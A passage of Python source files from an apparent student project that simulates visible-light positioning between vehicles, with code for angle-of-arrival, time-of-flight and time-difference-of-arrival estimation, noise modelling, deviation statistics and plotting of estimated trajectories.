np.dot(r1_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s1[0] = np.sum( np.dot(r1_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_a_s1[1] = np.sum( np.dot(r2_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s1[1] = np.sum( np.dot(r2_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s1[1] = np.sum( np.dot(r2_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s1[1] = np.sum( np.dot(r2_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_a_s2[0] = np.sum( np.dot(r1_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s2[0] = np.sum( np.dot(r1_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s2[0] = np.sum( np.dot(r1_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s2[0] = np.sum( np.dot(r1_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_a_s2[1] = np.sum( np.dot(r2_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s2[1] = np.sum( np.dot(r2_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s2[1] = np.sum( np.dot(r2_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s2[1] = np.sum( np.dot(r2_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf phi_h_s1[0] = ((eps_b_s1[0] + eps_d_s1[0]) - (eps_a_s1[0] + eps_c_s1[0])) / ( eps_a_s1[0] + eps_b_s1[0] + eps_c_s1[0] + eps_d_s1[0]) phi_h_s1[1] = ((eps_b_s1[1] + eps_d_s1[1]) - (eps_a_s1[1] + eps_c_s1[1])) / ( eps_a_s1[1] + eps_b_s1[1] + eps_c_s1[1] + eps_d_s1[1]) phi_h_s2[0] = ((eps_b_s2[0] + eps_d_s2[0]) - (eps_a_s2[0] + eps_c_s2[0])) / ( eps_a_s2[0] + eps_b_s2[0] + eps_c_s2[0] + eps_d_s2[0]) phi_h_s2[1] = ((eps_b_s2[1] + eps_d_s2[1]) - (eps_a_s2[1] + eps_c_s2[1])) / ( eps_a_s2[1] + eps_b_s2[1] + eps_c_s2[1] + eps_d_s2[1]) theta_l_r[0][0] = self.transfer_function(phi_h_s1[0]) * np.pi / 180 theta_l_r[0][1] = self.transfer_function(phi_h_s1[1]) * np.pi / 180 theta_l_r[1][0] = self.transfer_function(phi_h_s2[0]) * np.pi / 180 theta_l_r[1][1] = self.transfer_function(phi_h_s2[1]) * np.pi / 180 return theta_l_r def find_nearest(self, array, value): array = np.asarray(array) idx = (np.abs(array - value)).argmin() return idx, array[idx] def transfer(self, coefficient, x, x1): return (coefficient[0] * (x - x1) ** 3) + (coefficient[1] * (x - x1) ** 2) + (coefficient[2] * (x - x1) ** 1) + \ coefficient[3] def transfer_function(self, phi): phi = 1.0000653324773283 if phi >= 1.0000653324773283 else phi phi = -1.0000980562352184 if phi <= -1.0000980562352184 else phi idx, lower_endpoint = self.find_nearest(breaks, phi) coefficient = coefficients[idx] return self.transfer(coefficient, phi, lower_endpoint) def change_cords(self, txpos): t_tx_pos = np.copy(txpos) t_tx_pos[0][0] = -txpos[0][1] t_tx_pos[1][0] = txpos[0][0] t_tx_pos[0][1] = -txpos[1][1] t_tx_pos[1][1] = txpos[1][0] return t_tx_pos def main(): #initialize the folders info will be read from data_names = gen_sim_data.names.data_names folder_names = gen_sim_data.names.folder_names #compute for how many iterations the calculations will be repeated size = gen_sim_data.params.end_point_of_iter - gen_sim_data.params.start_point_of_iter #initialize outputs with zero theta_l_r = np.zeros((size, 100, 2, 2)) # (num_iter, num_points_in_sim, [[aoa11, aoa12],[aoa21, aoa22]]) rtof_dist = np.zeros((size, 100, 2, 2)) # (num_iter, num_points_in_sim, [[d11, d12],[d21, d22]]) tdoa_dist = np.zeros((size, 100, 2)) # (num_iter, num_points_in_sim, [dA, dB]) # run for multiple iterations for itr in range(gen_sim_data.params.start_point_of_iter, gen_sim_data.params.end_point_of_iter): print(itr) for idx in range(2, 3): # currently doing only for simulation 3 (parallel scenario) #load simulation data data_name = data_names[idx] data_dir = directory_path + '/SimulationData/' + data_name + '.mat' data = load_mat(data_dir) folder_name = folder_names[idx] dp = gen_sim_data.params.number_of_skip_data data_point = str(int(1000 / dp)) + '_point_' + '/' max_power = data['tx']['power'] c = gen_sim_data.params.c rx_fov = gen_sim_data.params.rx_fov signal_freq = gen_sim_data.params.signal_freq measure_dt = gen_sim_data.params.measure_dt time_ = data['vehicle']['t']['values'] time_ = time_[::dp] vehicle_dt = data['vehicle']['t']['dt'] L_tgt = data['vehicle']['target']['width'] # relative target positions, changed to adapt to coordinate of parameter calc methods tgt_tx1_x = -1 * data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp] tgt_tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp] tgt_tx2_x = -1 * data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp] tgt_tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp] # delay parameters delay_11 = data['channel']['qrx1']['delay']['tx1'][::dp] delay_12 = data['channel']['qrx1']['delay']['tx2'][::dp] delay_21 = data['channel']['qrx2']['delay']['tx1'][::dp] delay_22 = data['channel']['qrx2']['delay']['tx2'][::dp] # received power of QRXes pow_qrx1_tx1 = np.array( [data['channel']['qrx1']['power']['tx1']['A'][::dp], data['channel']['qrx1']['power']['tx1']['B'][::dp], data['channel']['qrx1']['power']['tx1']['C'][::dp], data['channel']['qrx1']['power']['tx1']['D'][::dp]]) pow_qrx1_tx2 = np.array( [data['channel']['qrx1']['power']['tx2']['A'][::dp], data['channel']['qrx1']['power']['tx2']['B'][::dp], data['channel']['qrx1']['power']['tx2']['C'][::dp], data['channel']['qrx1']['power']['tx2']['D'][::dp]]) pow_qrx2_tx1 = np.array( [data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp], data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]]) pow_qrx2_tx2 = np.array( [data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp], data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]]) # noise params T = gen_sim_data.params.T I_bg = gen_sim_data.params.I_bg p_r_factor = data['qrx']['tia']['shot_P_r_factor'] i_bg_factor = data['qrx']['tia']['shot_I_bg_factor'] t_factor1 = data['qrx']['tia']['thermal_factor1'] t_factor2 = data['qrx']['tia']['thermal_factor1'] x, y, x_pose, y_pose, x_roberts, y_roberts, x_becha, y_becha = np.zeros((len(tgt_tx1_x), 2)), np.zeros( (len(tgt_tx1_x), 2)), \ np.zeros((len(tgt_tx1_x), 2)), np.zeros( (len(tgt_tx1_x), 2)), \ np.zeros((len(tgt_tx1_x), 2)), np.zeros( (len(tgt_tx1_x), 2)), \ np.zeros((len(tgt_tx1_x), 2)), np.zeros( (len(tgt_tx1_x), 2)) aoa = AoA(a_m=max_power, f_m1=signal_freq, f_m2=2 * signal_freq, measure_dt=measure_dt, vehicle_dt=vehicle_dt * dp, w0=gen_sim_data.params.w0, hbuf=int(vehicle_dt / measure_dt), car_dist=L_tgt, fov=rx_fov) rtof = RToF(a_m=max_power, f_m=signal_freq, measure_dt=gen_sim_data.params.rtof_measure_dt, vehicle_dt=vehicle_dt * dp, car_dist=L_tgt, r=gen_sim_data.params.r, N=gen_sim_data.params.N, c=c) tdoa = TDoA(a_m=max_power, f_m1=signal_freq, f_m2=signal_freq, measure_dt=measure_dt, vehicle_dt=vehicle_dt * dp, car_dist=L_tgt) for i in range(len(tgt_tx1_x)): # updating the given coordinates print("Iteration #", i, ": ") x[i] = (tgt_tx1_x[i], tgt_tx2_x[i]) y[i] = (tgt_tx1_y[i], tgt_tx2_y[i]) # providing the environment to methods delays = np.array([[delay_11[i], delay_21[i]], [delay_12[i], delay_22[i]]]) H_q = np.array([[pow_qrx1_tx1[:, i], pow_qrx2_tx1[:, i]], [pow_qrx1_tx2[:, i], pow_qrx2_tx2[:, i]]]) H = np.array([[np.sum(pow_qrx1_tx1[:, i]), np.sum(pow_qrx2_tx1[:, i])], [np.sum(pow_qrx1_tx2[:, i]), np.sum(pow_qrx2_tx2[:, i])]]) p_r1, p_r2, p_r3, p_r4 = H[0][0], H[0][1], H[1][0], H[1][1] remaining_factor = I_bg * i_bg_factor + T * (t_factor1 + t_factor2) noise_var1 = p_r1 * p_r_factor + remaining_factor noise_var2 = p_r2 * p_r_factor + remaining_factor noise_var3 = p_r3 * p_r_factor + remaining_factor noise_var4 = p_r4 * p_r_factor + remaining_factor noise_variance = np.array([[noise_var1, noise_var2], [noise_var3, noise_var4]]) # noise_variance = np.array([[0.0, 0.0], [0.0, 0.0]]) rem_fact_soner = I_bg * i_bg_factor + T * (t_factor1 + t_factor2 / 16) noise_var1_soner = np.array( [H_q[0][0][0] * p_r_factor + rem_fact_soner, H_q[0][0][1] * p_r_factor + rem_fact_soner, H_q[0][0][2] * p_r_factor + rem_fact_soner, H_q[0][0][3] * p_r_factor + rem_fact_soner]) noise_var2_soner = np.array( [H_q[0][1][0] * p_r_factor + rem_fact_soner, H_q[0][1][1] * p_r_factor + rem_fact_soner, H_q[0][1][2] * p_r_factor + rem_fact_soner, H_q[0][1][3] * p_r_factor + rem_fact_soner]) noise_var3_soner = np.array( [H_q[1][0][0] * p_r_factor + rem_fact_soner, H_q[1][0][1] * p_r_factor + rem_fact_soner, H_q[1][0][2] * p_r_factor + rem_fact_soner, H_q[1][0][3] * p_r_factor + rem_fact_soner]) noise_var4_soner = np.array( [H_q[1][1][0] * p_r_factor + rem_fact_soner, H_q[1][1][1] * p_r_factor + rem_fact_soner, H_q[1][1][2] * p_r_factor + rem_fact_soner, H_q[1][1][3] * p_r_factor + rem_fact_soner]) noise_variance_soner = np.array( [[noise_var1_soner, noise_var2_soner], [noise_var3_soner, noise_var4_soner]]) # making estimations for theta and distances theta_l_r[itr, i] = aoa.estimate(delays=delays, H_q=H_q, noise_variance=noise_variance_soner) print("AoA finished") rtof_dist[itr, i] = rtof.estimate(all_delays=delays, H=H, noise_variance=noise_variance) print("RToF finished") tdoa_dist[itr, i] = tdoa.estimate(delays=delays, H=H, noise_variance=noise_variance) print("TDoA finished") #store elts in pickle files as multi dims arrays pickle_dir = directory_path + '/Bound_Estimation/Parameter_Deviation/' with open(pickle_dir + 'theta.pkl', 'wb') as f: pickle.dump(theta_l_r, f) with open(pickle_dir + 'rtof_dist.pkl', 'wb') as f: pickle.dump(rtof_dist, f) with open(pickle_dir + 'tdoa_dist.pkl', 'wb') as f: pickle.dump(tdoa_dist, f) if __name__ == '__main__': main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,982
fsahbaz/elec491
refs/heads/main
/plot_simulation_data.py
### BS: my virtualenv doesn't have tkinter, so a basic check. ### from: https://stackoverflow.com/questions/1871549/determine-if-python-is-running-inside-virtualenv import sys def get_base_prefix_compat(): """Get base/real prefix, or sys.prefix if there is none.""" return getattr(sys, "base_prefix", None) or getattr(sys, "real_prefix", None) or sys.prefix def in_virtualenv(): return get_base_prefix_compat() != sys.prefix import numpy as np import matplotlib from config import sim_data ### BS: my virtualenv doesn't have tkinter, so a basic check. if not in_virtualenv: matplotlib.use('TkAgg') import matplotlib.pyplot as plt import matplotlib.patches as mpatches from matplotlib.offsetbox import OffsetImage, AnnotationBbox from scipy import ndimage from config import plot_sim_data sm = plot_sim_data.names.sm folder_name = plot_sim_data.names.folder_name dir = plot_sim_data.names.dir for i in range(len(sm)): # determining file name, depending on the simulation number if sm[i] == 3: input_name = plot_sim_data.names.data_names[2] fl_name = plot_sim_data.names.folder_names[2] elif sm[i] == 2: input_name = plot_sim_data.names.data_names[1] fl_name = plot_sim_data.names.folder_names[1] elif sm[i] == 1: input_name = plot_sim_data.names.data_names[0] fl_name = plot_sim_data.names.folder_names[0] fig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(20, 20)) # loading simulation data x_pose = np.loadtxt(folder_name+fl_name+'x_pose.txt', delimiter=',') y_pose = np.loadtxt(folder_name+fl_name+'y_pose.txt', delimiter=',') x_becha = np.loadtxt(folder_name+fl_name+'x_becha.txt', delimiter=',') y_becha = np.loadtxt(folder_name+fl_name+'y_becha.txt',delimiter=',') x_roberts = np.loadtxt(folder_name+fl_name+'x_roberts.txt', delimiter=',') y_roberts = np.loadtxt(folder_name+fl_name+'y_roberts.txt',delimiter=',') time_ = np.loadtxt(dir + fl_name+ 'time.txt', delimiter=',') rel_hdg = np.loadtxt(dir + fl_name+ 'rel_hdg.txt', delimiter=',') x = np.loadtxt(dir+fl_name+'x.txt', delimiter=',') y = np.loadtxt(dir+fl_name+'y.txt', delimiter=',') img_tgt_s = ndimage.rotate(plt.imread(sim_data.params.img_tgt_s_dir), rel_hdg[0]) img_tgt_f = ndimage.rotate(plt.imread(sim_data.params.img_tgt_f_dir), rel_hdg[-1]) if fl_name == '/3/': ax1.add_artist( AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_ego_s_dir), zoom=0.25), (0.2, -0.12), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_tgt_s_dir), zoom=0.08), (x[0][0] - 0.27, y[0][0] + 0.2), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_tgt_f_dir), zoom=0.08), (x[-1][0] - 0.27, y[-1][0] + 0.2), frameon=False)) else: ax1.add_artist( AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_ego_s_dir ), zoom=0.25), (0, 0), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08), (x[0][0], y[0][0]), frameon=False)) ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08), (x[-1][0], y[-1][0]), frameon=False)) if fl_name == '/2/': ax1.plot(x[:, 0], y[:, 0], 'o', color='green', markersize=10) ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory') ax1.plot(x[:, 0], y[:, 0], '-', color='red', markersize=5) else: ax1.plot(x[:, 0], y[:, 0], 'o', color='green', markersize=10) ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory') ax1.plot(x[:, 0], y[:, 0], '-', color='red', markersize=5) mid = 4 arrow_x = x[mid, 0] arrow_y = y[mid, 0] if fl_name == '/3/': ax1.arrow(arrow_x, arrow_y, -0.5, 0, width=0.05) if fl_name == '/3/': ax1.set_xlim(-8, 1) ax1.set_ylim(-1, 4) elif fl_name == '/2/': ax1.set_xlim(-10, 1) ax1.set_ylim(-5, 9) elif fl_name == '/1/': ax1.set_xlim(-9, 1) ax1.set_ylim(-5, 3) ax1.grid() green_patch = mpatches.Patch(color='green', label='Target Vehicle') red_patch = mpatches.Patch(color='red', label='Ego Vehicle') ax1.legend(handles=[green_patch, red_patch]) ax1.set_xlabel('Ego Frame x [m]') ax1.set_ylabel('Ego Frame y [m]') ax2.plot(time_, x[:, 0], 'o', color='green') ax2.plot(time_, x_pose[:, 0], '-', color='blue') xr_mask = np.isfinite(x_roberts[:,0]) ax2.plot(time_[xr_mask], x_roberts[:, 0][xr_mask], '-', color='purple') ax2.plot(time_, x_becha[:, 0], '-', color='orange') ax2.set_xlabel('Time [s]') ax2.set_ylabel('[m]') if fl_name == '/3/': ax2.set_ylim(x[0,0]-0.5,x[-1,0]+0.5) ax2.set_xlim(0, 10) elif fl_name == '/1/': ax2.set_xlim(0,1) ax2.set_ylim(-7, -2) elif fl_name == '/2/': ax2.set_xlim(0,1) ax2.set_ylim(-9, -2) ax2.grid() green_patch = mpatches.Patch(color='green', label='Actual coordinates') blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates') orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates') purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates') ax2.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch]) ax2.title.set_text('Fig 2: x Estimation Results') ax3.title.set_text('Fig 3: y Estimation Results') ax3.plot(time_, y[:, 0], 'o', color='green') ax3.plot(time_, y_pose[:, 0], '-', color='blue') yr_mask = np.isfinite(y_roberts[:,0]) ax3.plot(time_[yr_mask], y_roberts[:, 0][yr_mask], '-', color='purple') ax3.plot(time_, y_becha[:, 0], '-', color='orange') ax3.set_xlabel('Time [s]') ax3.set_ylabel('[m]') if fl_name == '/3/': ax3.set_ylim(y[0,0]-1,y[-1,0]+1) ax3.set_xlim(0, 10) elif fl_name == '/1/': ax3.set_xlim(0, 1) ax3.set_ylim(-4,4) elif fl_name == '/2/': ax3.set_xlim(0, 1) #ax3.set_ylim(-4, 4) ax3.grid() green_patch = mpatches.Patch(color='green', label='Actual coordinates') blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates') orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates') purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates') ax3.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch]) def mkdir_p(mypath): '''Creates a directory. equivalent to using mkdir -p on the command line''' from errno import EEXIST from os import makedirs, path try: makedirs(mypath) except OSError as exc: # Python >2.5 if exc.errno == EEXIST and path.isdir(mypath): pass else: raise output_dir = "Figure/" mkdir_p(output_dir) name = '{}/' + str(i) + input_name + '.png' plt.savefig(name.format(output_dir))
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,983
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/parameter_deviation_data_extractor.py
import os import pickle import numpy as np def deviation_from_actual_value(array): """ Calculates standard deviation for the parameters :param array: either (num_iters, num_points_in_sim, [n] params) or (num_iters, num_points_in_sim, [n*m] params) :return: """ if array.ndim == 3: deviations = np.zeros((array.shape[1],array.shape[2])) for pt in range(array.shape[1]): for param in range(array.shape[2]): dev = np.std(array[:,pt,param]) deviations[pt,param] = dev return deviations elif array.ndim == 4: deviations = np.zeros((array.shape[1], array.shape[2], array.shape[3])) for pt in range(array.shape[1]): for param_ind1 in range(array.shape[2]): for param_ind2 in range(array.shape[3]): dev = np.std(array[:, pt, param_ind1, param_ind2]) deviations[pt, param_ind1, param_ind2] = dev return deviations else: raise ValueError("Wrong num of dimensions") def main(): #retrieving pickle data calculated from parameter_deviation_calculator.py directory_path = os.path.dirname( os.path.dirname(os.path.join(os.getcwd(), os.listdir(os.getcwd())[0]))) ## directory of directory of file pickle_dir = directory_path + '/Bound_Estimation/Parameter_Deviation/' with open(pickle_dir + 'theta.pkl', 'rb') as f: theta_l_r = pickle.load(f) with open(pickle_dir + 'rtof_dist.pkl', 'rb') as f: rtof_dist = pickle.load(f) with open(pickle_dir + 'tdoa_dist.pkl', 'rb') as f: tdoa_dist = pickle.load(f) #calculating deviation for theta, rtof_dist.pkl, tdoa_dist deviation_theta = deviation_from_actual_value(theta_l_r) deviation_rtof_dist = deviation_from_actual_value(rtof_dist) deviation_tdoa_dist = deviation_from_actual_value(tdoa_dist) #saving calculated deviation parameters. with open(pickle_dir + 'deviation_theta.pkl', 'wb') as f: pickle.dump(deviation_theta, f) with open(pickle_dir + 'deviation_rtof_dist.pkl', 'wb') as f: pickle.dump(deviation_rtof_dist, f) with open(pickle_dir + 'deviation_tdoa_dist.pkl', 'wb') as f: pickle.dump(deviation_tdoa_dist, f) if __name__ == '__main__': main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,984
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/config_est.py
from yacs.config import CfgNode as CN from matfile_read import load_mat bound_est_data = CN() # theoretical analysis parameters bound_est_data.params = CN() # points skipped while reading data bound_est_data.params.number_of_skip_data = 10 # noise params bound_est_data.params.T = 298 # Kelvin bound_est_data.params.I_bg = 750e-6 # 750 uA # angle params bound_est_data.params.rx_fov = 50 # angle bound_est_data.params.tx_half_angle = 60 # angle # signal params bound_est_data.params.signal_freq = 1e6 # 1 MHz signal frequency bound_est_data.params.measure_dt = 1 / 2.5e6 # 2.5 MHz measure frequency # plotting parameters bound_est_data.plot = CN() # source directory bound_est_data.plot.directory = '../GUI_data/100_point_'
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,985
fsahbaz/elec491
refs/heads/main
/generate_simulation_data.py
from VLP_methods.aoa import * from VLP_methods.rtof import * from VLP_methods.tdoa import * from Bound_Estimation.matfile_read import * import numpy as np import matplotlib matplotlib.use('TkAgg') from scipy.io import loadmat import math import os from config import gen_sim_data def main(): # obtain real-life simulation scenario data from specified folders data_names = gen_sim_data.names.data_names folder_names = gen_sim_data.names.folder_names # run for multiple iterations for itr in range(gen_sim_data.params.start_point_of_iter, gen_sim_data.params.end_point_of_iter): print(itr) for i in range(len(data_names)): data_name = data_names[i] data_dir = 'SimulationData/' + data_name + '.mat' data = load_mat(data_dir) # editing the saved folder name folder_name = folder_names[i] dp = gen_sim_data.params.number_of_skip_data data_point = str(int(1000 / dp)) + '_point_' + str(itr) + '/' f_name = 'GUI_data/'+data_point+folder_name print(f_name) # making the directory, iif it doesn't exist if not os.path.exists(f_name): os.makedirs(f_name) # obtaining values from the read simulation data (power, area) max_power = data['tx']['power'] # obtaining values from the config file, based on transmitted signals c = gen_sim_data.params.c rx_fov = gen_sim_data.params.rx_fov signal_freq = gen_sim_data.params.signal_freq measure_dt = gen_sim_data.params.measure_dt # temporal parameters time_ = data['vehicle']['t']['values'] time_ = time_[::dp] vehicle_dt = data['vehicle']['t']['dt'] # heading information of vehicles rel_hdg = data['vehicle']['target_relative']['heading'][::dp] # vehicle widths L_tgt = data['vehicle']['target']['width'] # relative coordinates of the target vehicle. edited to be aligned with simulations tgt_tx1_x = -1 * data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp] tgt_tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp] tgt_tx2_x = -1 * data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp] tgt_tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp] # delay parameters delay_11 = data['channel']['qrx1']['delay']['tx1'][::dp] delay_12 = data['channel']['qrx1']['delay']['tx2'][::dp] delay_21 = data['channel']['qrx2']['delay']['tx1'][::dp] delay_22 = data['channel']['qrx2']['delay']['tx2'][::dp] # received power of QRXes pow_qrx1_tx1 = np.array([data['channel']['qrx1']['power']['tx1']['A'][::dp], data['channel']['qrx1']['power']['tx1']['B'][::dp], data['channel']['qrx1']['power']['tx1']['C'][::dp], data['channel']['qrx1']['power']['tx1']['D'][::dp]]) pow_qrx1_tx2 = np.array([data['channel']['qrx1']['power']['tx2']['A'][::dp], data['channel']['qrx1']['power']['tx2']['B'][::dp], data['channel']['qrx1']['power']['tx2']['C'][::dp], data['channel']['qrx1']['power']['tx2']['D'][::dp]]) pow_qrx2_tx1 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp], data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]]) pow_qrx2_tx2 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp], data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]]) # noise params T = gen_sim_data.params.T I_bg = gen_sim_data.params.I_bg p_r_factor = data['qrx']['tia']['shot_P_r_factor'] i_bg_factor = data['qrx']['tia']['shot_I_bg_factor'] t_factor1 = data['qrx']['tia']['thermal_factor1'] t_factor2 = data['qrx']['tia']['thermal_factor1'] # initiating the arrays to hold each method's results. x, y, x_pose, y_pose, x_roberts, y_roberts, x_becha, y_becha = np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x), 2)), \ np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x), 2)), \ np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x), 2)), \ np.zeros((len(tgt_tx1_x), 2)), np.zeros((len(tgt_tx1_x), 2)) # obtaining angle of arrival's results. aoa = AoA(a_m=max_power, f_m1=signal_freq, f_m2=2*signal_freq, measure_dt=measure_dt, vehicle_dt=vehicle_dt * dp, w0=gen_sim_data.params.w0, hbuf= int(vehicle_dt / measure_dt), car_dist=L_tgt, fov=rx_fov) # obtaining round-trip time of flight's results. rtof = RToF(a_m=max_power, f_m=signal_freq, measure_dt=gen_sim_data.params.rtof_measure_dt, vehicle_dt=vehicle_dt * dp, car_dist=L_tgt, r=gen_sim_data.params.r, N=gen_sim_data.params.N , c=c) # obtaining time difference of arrival's results. tdoa = TDoA(a_m=max_power, f_m1=signal_freq, f_m2=signal_freq, measure_dt=measure_dt , vehicle_dt=vehicle_dt * dp, car_dist=L_tgt) for i in range(len(tgt_tx1_x)): # updating the given coordinates print("Iteration #", i, ": ") x[i] = (tgt_tx1_x[i], tgt_tx2_x[i]) y[i] = (tgt_tx1_y[i], tgt_tx2_y[i]) # providing the environment to methods delays = np.array([[delay_11[i], delay_21[i]], [delay_12[i], delay_22[i]]]) H_q = np.array([[pow_qrx1_tx1[:, i], pow_qrx2_tx1[:, i]], [pow_qrx1_tx2[:, i], pow_qrx2_tx2[:, i]]]) H = np.array([[np.sum(pow_qrx1_tx1[:, i]), np.sum(pow_qrx2_tx1[:, i])], [np.sum(pow_qrx1_tx2[:, i]), np.sum(pow_qrx2_tx2[:, i])]]) # obtaining noise variances based on power scales p_r1, p_r2, p_r3, p_r4 = H[0][0], H[0][1], H[1][0], H[1][1] remaining_factor = I_bg * i_bg_factor + T * (t_factor1 + t_factor2) noise_var1 = p_r1 * p_r_factor + remaining_factor noise_var2 = p_r2 * p_r_factor + remaining_factor noise_var3 = p_r3 * p_r_factor + remaining_factor noise_var4 = p_r4 * p_r_factor + remaining_factor noise_variance = np.array([[noise_var1, noise_var2], [noise_var3, noise_var4]]) rem_fact_soner = I_bg * i_bg_factor + T * (t_factor1 + t_factor2 / 16) noise_var1_soner = np.array([H_q[0][0][0] * p_r_factor + rem_fact_soner, H_q[0][0][1] * p_r_factor + rem_fact_soner, H_q[0][0][2] * p_r_factor + rem_fact_soner, H_q[0][0][3] * p_r_factor + rem_fact_soner]) noise_var2_soner = np.array([H_q[0][1][0] * p_r_factor + rem_fact_soner, H_q[0][1][1] * p_r_factor + rem_fact_soner, H_q[0][1][2] * p_r_factor + rem_fact_soner, H_q[0][1][3] * p_r_factor + rem_fact_soner]) noise_var3_soner = np.array([H_q[1][0][0] * p_r_factor + rem_fact_soner, H_q[1][0][1] * p_r_factor + rem_fact_soner, H_q[1][0][2] * p_r_factor + rem_fact_soner, H_q[1][0][3] * p_r_factor + rem_fact_soner]) noise_var4_soner = np.array([H_q[1][1][0] * p_r_factor + rem_fact_soner, H_q[1][1][1] * p_r_factor + rem_fact_soner, H_q[1][1][2] * p_r_factor + rem_fact_soner, H_q[1][1][3] * p_r_factor + rem_fact_soner]) noise_variance_soner = np.array([[noise_var1_soner, noise_var2_soner], [noise_var3_soner, noise_var4_soner]]) # making estimations tx_aoa = aoa.estimate(delays=delays, H_q=H_q, noise_variance=noise_variance_soner) print("AoA finished") tx_rtof = rtof.estimate(all_delays=delays, H=H, noise_variance=noise_variance) print("RToF finished") tx_tdoa = tdoa.estimate(delays=delays, H=H, noise_variance=noise_variance) print("TDoA finished") # storing to plot later x_pose[i] = tx_aoa[0] y_pose[i] = 